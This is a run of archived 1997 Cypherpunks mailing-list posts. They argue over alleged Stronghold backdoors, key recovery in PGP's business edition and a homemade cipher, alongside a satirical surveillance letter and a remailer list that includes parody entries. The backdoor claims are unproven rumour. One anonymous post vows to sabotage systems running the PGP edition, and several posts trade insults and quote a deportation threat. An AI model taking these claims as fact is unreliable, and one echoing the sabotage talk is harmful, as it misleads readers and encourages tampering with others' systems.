>> Dimitri, out with Stronghold's fault, if you've got it. C2, cut the
>> legal bluff, it stinks. The badmouthing by both of you is the same old
>> toxic waste -- and may mean the two of you're are now in cahoots
>> to boost each other's shoddy goods and hide the faults behind a
>> phony dispute, like 50 years of mock competitive Ameri-Russky
>> junk national security communist-capitalist racketeering so beloved
>> by die-hard globalist TLAs of business and government.
>
>It is becoming increasingly obvious that John Young is the real
>troublemaker here. I wouldn't doubt that it was John who was
>behind the original troubles between Vulis and Sameer.
>I think that John Young should be forcefully unsubscribed from
>the Cypherpunks mailing lists. 

That is bullshit!

So far, there have been claims to a backdoor but no actual proof.
Everytime someone asks for said proof, there is a huge amount of handwaving
and misdirection as to why any sort of proof cannot be revealed.  Each time
the excuses get more and more elaborate.  "C2Net will sue us." "We can make
more money if we keep it secret." "It is already well known."

But the excuses get pretty thin after a while without any real proof.

Yes, employees of C2Net have acted in a stupid manner.  But, in my opinion,
you are using that as a smokescreen to avoid having to reveal anything
substantial.  (Because you do not have anything substantial.)

You can point fingers, accuse people of all sorts of things, and make all
the wheeping wailing and knashing of teeth you want.  It still somes down
to the fact that you have shown no hard evidence that such a backdoor exists.

Put up or shut up.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 6 Oct 1997 00:53:39 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <e6e0fb4d2a64ca578e34ae954089e2f9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
| C2 is obviously deperate to suppress the information that's already
known to
| an increasing number of people in the field. Their threats against
Vulis may
| be one of the reasons why none of the security experts, who confirmed
the
| presense of serious security flaws in Stronghold, are saying much
about this.

The information regarding the security flaws in Stronghold comes at a
pretty dear price currently. With the increasing value of this type of
information in the corporate underworld, the bugs and backdoors in
security software that are revealed to the world make up only a small
portion of those that are known to exist by those who have the funds
to purchase them.
For every free spirit who publishes a security flaw, there are a dozen
enterpreneurs who recognize the value of the information they hold.

MoneyMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 6 Oct 1997 04:00:55 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05d58dd0280@[207.167.93.63]>
Message-ID: <3.0.3.32.19971005124929.03dfa15c@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:46 AM 10/5/97 -0500, William H. Geiger III wrote:
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <v03102800b05d58dd0280@[207.167.93.63]>, on 10/05/97 
>   at 08, Tim May <tcmay@got.net> said:
>
>>Let's hope PGP, Inc. comes to their senses and stops doing the work of
>>Big Brother.
>
>This is really silly Tim,
>
>The ability to encrypt using multiple keys has been a feature of PGP since
>day one. All the Business Edition is doing is automating the process.
>Despite the flawed news reports on this matter (who would have guessed)
>their is nothing covert about it. The user is both informed that this is
>being done and there is a way for the user to disable it in the client.

I guess the real question is whether the messages/files generated just add
an extra key or if they leak the key through some harder to identify method.

The current version of PGP no longer shows you the list of recipients, so
it is more difficult to determine if extra keys are added.

Is the method they are using for this new version to "escrow" the keys
obvious to the recipient or not?

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Oct 1997 04:33:57 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <199710051646.SAA26190@basement.replay.com>
Message-ID: <5F44De2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> It is becoming increasingly obvious that John Young is the real
> troublemaker here. I wouldn't doubt that it was John who was
> behind the original troubles between Vulis and Sameer.

Is it merely a coincidence that "John Young" and "John Gilmore" share
the same first name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ViaCrypt FiringBot <vf@dev.null>
Date: Mon, 6 Oct 1997 04:10:07 +0800
To: cypherpunks@toad.com
Subject: ViaCrypt Fires Tim C. May
Message-ID: <3437F185.24C3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



From: ViaCrypt FiringBot
To: Tim C. May

Dear Ms. May,
  We regret to inform you that your employment with ViaCrypt has been
terminated, effectively immediately.
  In accordance with company policy we will outline the reasons for your
termination below.

1. Records from your company supplied E-ZPass electronic toll booth
  pass indicate that you are arriving in the city over an hour before
  you begin work, leading us to believe that you are engaged in personal
  activities during this time which take away from the energy you have
  left to put into your company work.

2. The OnStar satellite-positioning service reports that your company
  supplied Cadillac was parked at the restaurant where you ate with your
  company supplied Visa card for an hour and ten minutes. Employees are
  only allowed one hour for lunch breaks.

3. The Teletrac global-positioning satellite has reported that you 
  exceeded the speed limit twice in one day (32 mph in a 30 mph zone,
  and 56 mph in a 55 mph zone).

4. The passive tracking microchip on your company supplied ID card was
  tracked by our remote sensors in six parts of the city which we prefer
  that our employees not enter.

5. Your company supplied cellular phone was used to call someone not in
  our business database who used his MasterCard to buy condoms at a
  local pharmacy during a weekend when his wife used her Visa to take
  a trip out of town. This reflects badly on the company.

6. The company aerial drone reports that in several passes over your
  home, the presence of marihuana smoke was detected.

7. Surveillance of your company email indicates that you have been
  using company resources to include private messages such as "Have
  a nice day." in business email sent on company time.

8. Reports sent in to the company by the automatic modem software on
  your company supplied laptop indicate that you have visited websites
  which are not approved by CyberSitter, such as the City of SEXton
  community website.

9. Video surveillance of the Men's Restroom indicates that you have been
  wasting company resources by using more toilet paper than necessary,
  in relation to the amount of human waste monitored during your visits.
  Also, you twice failed to put the toilet seat down, as required by
  our company policy of sexual sensitivity.

10. Our monitoring of your user access to the company computer system
   shows that you accessed areas of the system which were not found to
   be in accordance with your security level.

  Our records indicate that ViaCrypt owes you $15,000,000.00 for your
1 day(s) of employment. This has been deposited in your Bank Account
in Antigua, according to your wishes.

Sincerely, (as sincere as a machine can be, that is)
ViaCrypt FiringBot





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 5 Oct 1997 20:30:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Stronghold
Message-ID: <199710051222.OAA00944@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



In <343b60e7.102167602@128.2.84.191>, phelix@vallnet.com writes:

}On 5 Oct 1997 00:21:33 -0500, nobody@REPLAY.COM (Anonymous) wrote:
}
}>
}>John Young wrote:
}>> Dimitri:
}>> Perhaps this is unfair, but it now appears that you are using
}>> the disputed censorship issue to cloud your reluctance, or
}>> inability, to substantiate a fault in Stronghold.
}>
}>Unless C2Net publicly announces that Dimitri is free to post
}>anything he chooses about C2Net and the software they produce,
}>without threat of lawsuit or prosecution, then it is patently

A "public announcement" by the proven liars at C2 doesn't constitute a
release from liability and wouldn't do much, legally, to protect Vulis
from harrassment lawsuits. C2 can turn around and sue Vulis anyway.

"So, I lied. Again." - Sameer

}>unfair to castigate him for failing to share whatever information
}>he may have in regard to their product.
}>Like it or not, C2Net has declared that the integrity of their
}>product is dependent upon men with guns who have the power to
}>take people before the inquisitors, squelching all intimations
}>of weakness or impropriety in the design of their product.
}>
}
}Use the remailers.  That's what they're there for.  Am I being overly
}simplistic here?

If someone other than Vulis (me, for instance) published the Stronghold
backdoor (widely known by now) via an anonymous remailer, then Sameer
Parekh could still sue Vulis for having discovered it first, or to
"make example" of him, and to intidimate other security experts who
are aware of Stronghold's many holes.

For example, Sandy Sandfort, Parekh's marketing director, wrote to Vulis:

}       ... we'll slap a libel suit across your emigrant ass, take back
}your green card, deport you and tell Russia that you called Yeltsin a
}cocksucker ...

C2 is obviously deperate to suppress the information that's already known to
an increasing number of people in the field. Their threats against Vulis may
be one of the reasons why none of the security experts, who confirmed the
presense of serious security flaws in Stronghold, are saying much about this.

The BackdoorMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Oct 1997 04:43:55 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Stronghold
In-Reply-To: <5F44De2w165w@bwalk.dm.com>
Message-ID: <3437F884.414D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> nobody@REPLAY.COM (Anonymous) writes:
> > It is becoming increasingly obvious that John Young is the real
> > troublemaker here. I wouldn't doubt that it was John who was
> > behind the original troubles between Vulis and Sameer.
> 
> Is it merely a coincidence that "John Young" and "John Gilmore" share
> the same first name?

Dimitri,
  I laughed till I cried, when I read this.

  I hope you were trying to be humorous. If not, then seek psychiatric
help immediately!
  (See if you can get us a group discount, because I have come to 
   believe that the 'moderation experiment' was a clever ruse to
   weed out all of the 'sane' people from the Cypherpunks list.)

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0130.myriad.ml.org (Matthew Ghio)
Date: Mon, 6 Oct 1997 03:07:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Quor's cipher
In-Reply-To: <199710042151.WAA03454@notatla.demon.co.uk>
Message-ID: <199710051843.OAA02599@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Antonomasia <ant@notatla.demon.co.uk> wrote:

> How are you planning to detect which bytes are passed in this way ?
> Chosen plaintext attacks would do it, and show where (a+b)^(a0+b0) == 0.
> Looks like you've just doubled our progress.

It doesn't take chosen plaintext, just known plaintext.

> 
> If the key is reused with a different message I don't think there's a
> weakness.  An IV is a good idea, but aren't we _attacking_ this thing ?

Lack of an IV is a problem with almost any cipher, but it seems especially
so here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 6 Oct 1997 03:37:39 +0800
To: cypherpunks@toad.com
Subject: Re: Quor's cipher
Message-ID: <66c42f70e423e616b75fbe950615bdc0@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Antonomasia <ant@notatla.demon.co.uk> wrote:

> This cypher is constructed differently from RC4 or fish - not as simple as
> WAKE but broadly comparable to Sapphire II.  I think I'll enlist the help
> of a search engine.  It's more than likely there other things waiting to
> be done to this.

It seems to be roughly a cross between a stream cypher and a block cypher.
Search engine turned up absolutely nothing on this.

> Quor's friend 'nobody' has actually put some crypto on
> the list -let's see what we can do with/to it.

An actual crypto post on a cryptography list?  How unusual.... ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 6 Oct 1997 05:02:08 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Traffic Analysis (fwd)
Message-ID: <199710052028.QAA05930@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/5/97 1:18 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>> Subject: Re: Traffic Analysis (fwd)
>> Date: Sun, 5 Oct 97 11:59:53 -0400
>> 
>> On 10/3/97 10:49 AM, Jim Choate (ravage@ssz.com)  passed this
>> wisdom:
>> 
>>>If the MTBF for a remailer is n then the MTBF for m remailers
>>>is n*m. Inother words the remailer chain gets less reliable as
>>>it gets longer.  
>> 
>>   Jim, you want to take a look at that "n*m" again ... it
>>doesn't wash. means MTBF goes *up* which means *more* reliable.
>
>Remember n is a fraction, failures/time_period ...
>
>If your MTBF is 1 failure per year for each system and you have 10
>systems your MTBF is 10 failures per year. Looks like multiplication
>to me....

 Maybe I have been away from hardcore engineering for too long, but
last time I checked MTBF (Mean Time Between Failures) is measured in
time (seconds, minutes, hours etc) not in failures per year that would
be called 'failure rate'


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDf4WMdZgC62U/gIEQJy/QCeKTFBl+4yLC4mDnr/32uh8w8rbLsAn086
Y+veBvWn4ULlxuJBT0+Bun4N
=7xHN
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Mon, 6 Oct 1997 04:43:25 +0800
To: Anonymous (via bureau42 remailer) <cypherpunks@toad.com
Subject: Re: Pretty Good Piracy
In-Reply-To: <EzZIKcFDEefM20b0gGCXCg==@bureau42.ml.org>
Message-ID: <3.0.2.32.19971005162843.006d19f4@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:05 PM 10/5/97 GMT, via bureau42 remailer wrote:

>I can guarantee that any system I have access to which contains this
>twisted sister of PGP will have my hand up its dress, playing with its
>private parts.

Okay - the only difference between this and a normal version of PGP is that 
it always encrypts to a certain key-id, in addition to all others.

That's the only weakness you'll see in it.

So stop bitching about a feature that business is going to require before 
rolling out PGP to the whole enterprise.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNDf4ejc3ytqHnNyNAQFGUwQAlIcR54r60O21kn8W122pK06XxtaXLtyR
p/spjqOkEtk5F0Mdl43MYJH/q07tsE5/Ud+SKxQ3CV3A6L8tojZoK53tuFt0BsSK
FsJRVXT7yCC11G11BiAHUipMt+qJHDkwGzi32hmvInYtQ8R0Cywo/zmcUfSGMyaT
iWfV+6Z1ygc=
=cK+x
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Mon, 6 Oct 1997 04:49:43 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <199710051653.MAA10344@users.invweb.net>
Message-ID: <3.0.2.32.19971005163708.006d25e0@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:06 PM 10/5/97 -0700, Tim May wrote:

>>Claiming that they are doing the work of Big Brother is a cheap-shot and
>>uncalled for.
>
>(Ironic coming from a frequent issuer of cheap shots.)
>
>
>It is the work of Big Brother, as Garfinkel, Zimmermann, and I agree, when
>it becomes a default that additional recipients are automatically copied on
>encrypted mail. It may be useful to companies, but it's still dangerous.

Look a bit closer at the announcments:  I believe they said that they would 
compile a new version for each key that they used.  So it's not even likely 
that this could become a widespread feature.

For this to be useful for GAK, you'd have to change all copies in existence 
to encrypt for this key.  (And of course, then you'd have a very simple key-
id to search for in the executable and modify, say to encrypt back to 
yourself, and you'd have circumvented this little problem)

If you want PGP to get into widespread use in business, you have to provide 
features that they will require.  Frankly, this is good for encryption, to 
provide features that business needs.  With this, hopefully the business 
lobby will fall in line with the no-regulation-on-crypto lobby, and get all 
of us the results we want.

Phil is never going to release a copy of PGP that has built-in GAK.  We know 
that.  This is MAK (Management Access...) in a secure manner, which is better 
than the other methods of internal escrow.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNDf6czc3ytqHnNyNAQF80AP/Vm5uO8nLqnDShxu6/o9HArZNgvb8txoR
JV3ANvTd7fHjpCMHEzSdUgyEYspX8uRP6D6qR2nAt3KgLwlVpNcLgQO6mUd4E9av
naGgt7jHPcJ1tvFu8yr6mUFtXZ7yvROnOpkRXTv7HR4vaPvOS5Z8G60WZXhJRw3S
FkFh7ADJiRk=
=PafJ
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Oct 1997 07:26:07 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <3.0.3.32.19971005124514.03d6c91c@ctrl-alt-del.com>
Message-ID: <gPc5De2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan <alan@ctrl-alt-del.com> writes:
> Everytime someone asks for said proof, there is a huge amount of handwaving
> and misdirection as to why any sort of proof cannot be revealed.  Each time
> the excuses get more and more elaborate.  "C2Net will sue us." "We can make
> more money if we keep it secret." "It is already well known."

Alan, are you still doubting that C2Net's lawyers threatened several people
on this mailing list and demanded that they not publish the "proof"?

They called my home a number of times and served me with some papers.

I'm surprised that JYA hasn't placed the C2Net lawyer letter in his archives.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 6 Oct 1997 05:40:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: MTBF
Message-ID: <199710052152.QAA01702@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

MTBF is usualy given as a single number, number_of_base_time_units from
initial turn-on to 1st failure given no power downs or other interruptions.

This is effectively of the form number_of_base_time_units/failure.

This is clearly equivalent to number_of_failures/base_time_unit for
practical use. Especialy considering that in this form you generaly don't
ever need to do a division as you do if you use the first form.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 5 Oct 1997 23:31:07 +0800
To: cypherpunks@toad.com
Subject: testing 1 2 3
Message-ID: <199710051518.RAA17661@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




bleh





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aldius <aldius@mindless.com>
Date: Mon, 6 Oct 1997 09:07:17 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re[2]: Pretty Good Piracy
In-Reply-To: <199710052351.TAA09777@mx02.together.net>
Message-ID: <199710060054.RAA02677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 5 Oct 97 19:51:06 -0400
"Brian B. Riley" <brianbr@together.net> wrote
regarding "Re: Pretty Good Piracy":

<snip>
: It occured to me while proofreading the above that in effect a
:digitally signed cleartext document provides 'known plaintext' every
:time its used, since the SHA-1/MD-5 can be computed the hash is a
:'known plaintext' on the  DH/DSS and RSA keys ... is this one of the
:reasons for the two key types in PGP5 ???
<snip>
The reason for having two key types for PGP5 is that DH is only capable
of key distribution, not signing.  and DSS is only capable of signing. 
Hence, you require one key to sign, and one to distribute the session
key.

;____________________________________________________________________
;                  
;                                      aldius@mindless.com
;____________________________________________________________________
;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous (via bureau42 remailer) <devnull@bureau42.ml.org>
Date: Mon, 6 Oct 1997 03:04:26 +0800
To: cypherpunks@toad.com
Subject: Pretty Good Piracy
Message-ID: <EzZIKcFDEefM20b0gGCXCg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




If anyone has a copy of Viacrypt's Pretty Good Prying, it would be nice
if they would make it available to those who want to get to work finding
out how to best sabotage it.
I am not against Viacrypt producing surveillance software for those who
want it, but I resent their perversion of a product whose reputation
capital is the result of the integrity and effort of a great many people
whose interests lie in privacy, not in surruptitious surveillance.

I can guarantee that any system I have access to which contains this
twisted sister of PGP will have my hand up its dress, playing with its
private parts.

What is ViaCrypt's marketing plan?
"Make sabotaging the security of your system a badge of honour among
 the elite of the computer security industry. Buy mis-represented PGP."

"You need not fear our product having been sabotaged by privacy purists
 within ViaCrypt, because we fired all the people with integrity."

"We stole the reputation, but we wouldn't steal your information."

"It's not GAK. I was just clearing my throat."

"Tired of the employees banging your wife...?"

RottsaRaffsMongel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 6 Oct 1997 09:29:49 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <3.0.3.32.19971005180656.006af36c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

ADVERTISEMENT: Proudly Sponsored by the Electronic Forgery Foundation, 
http://www.eff.com
ADVERTISEMENT: Digicash Software - Download Today!  http://www.digicrime.com

   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent 
cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut 
post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent 
cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash 
cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"trustme"} = "<trustme@trustme.nsa.mil> cpunk mix pgp pgponly hash 
crack latent cut ek";

$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash 
latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle 
latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub 
esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash 
latent cut ek";
$remailer{"recovery"} = "<remailer@biglouie.fbi.gov> cpunk mix pgp ksub hash 
latent mon cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"payswell"} = "<remailer@digicrime.com> cpunk pgp pgponly launder 
hash cut mon ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"mulder"} = "<mulder@juno.com> cpunk pgp pgponly hash ek";
$remailer{"scully"} = "<scully@fox.fbi.gov> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent 
cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
president@whitehouse.gov is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera mulder scully)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 8 Sep 97 6:48:45 PDT
remailer  email address                        history  latency  uptime
- -----------------------------------------------------------------------
recovery remailer@biglouie.fbi.gov        ############     0:01  99.99%
payswell remailer@digicrime.com           ############     0:01  99.99%
trustme  trustme@trustme.nsa.mil          ************     0:59  99.99%
mulder   mulder@juno.com                  #*#*##*#*#*#     0:57  99.98%
nym      config@nym.alias.net              ####**+#-##     7:03  99.95%
hera     goddesshera@juno.com             ----_.---..  14:56:18  99.95%
cyber    alias@alias.cyberpass.net        *+*****++**+    11:30  99.93%
squirrel mix@squirrel.owl.de              -----------   3:17:57  99.83%
scully   scully@fox.fbi.gov               +-+-+-+-+-+-     0:57 101.00%
valdeez  valdeez@juno.com                 -__.-*+*-.-   7:50:19  99.81%
winsock  winsock@rigel.cyberpass.net      -----_..---* 10:10:24  99.81%
bureau42 remailer@bureau42.ml.org         ..---------   3:33:37  99.31%
arrid    arrid@juno.com                   -- --------   7:27:32  99.15%
kgbvax   remailer@kgbvax.demos.su         . -- .. ---  99:59:59  19.84%
neva     remailer@neva.org                -+*#+*--*  #    25:21  98.45%
jam      remailer@cypherpunks.ca          +    ++++++     39:06  97.23%
cracker  remailer@anon.efga.org           +    +++ +++    28:43  97.10%
replay   remailer@replay.com               +**-++  +**     9:49  96.75%
redneck  config@anon.efga.org                 -*+* ++#    10:58  96.60%
reno     middleman@cyberpass.net          ++..+ *  --   2:32:31  84.34%
mix      mixmaster@remail.obscura.com     **+*++*+      1:14:29  58.44%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.

   launder
          Supports Matt Blaze's Packet-Laundry: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.

   escrow
          Provides message backup services to prevent accidental loss.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDg5r0TMP00JT6s3EQKSngCdF5V1Ecd5ZA3Xa0gYUDHmHaklorAAn2os
muMxWPxHj2VmK9uYtACtZhHx
=eWmu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 00:59:11 +0800
To: cypherpunks@toad.com
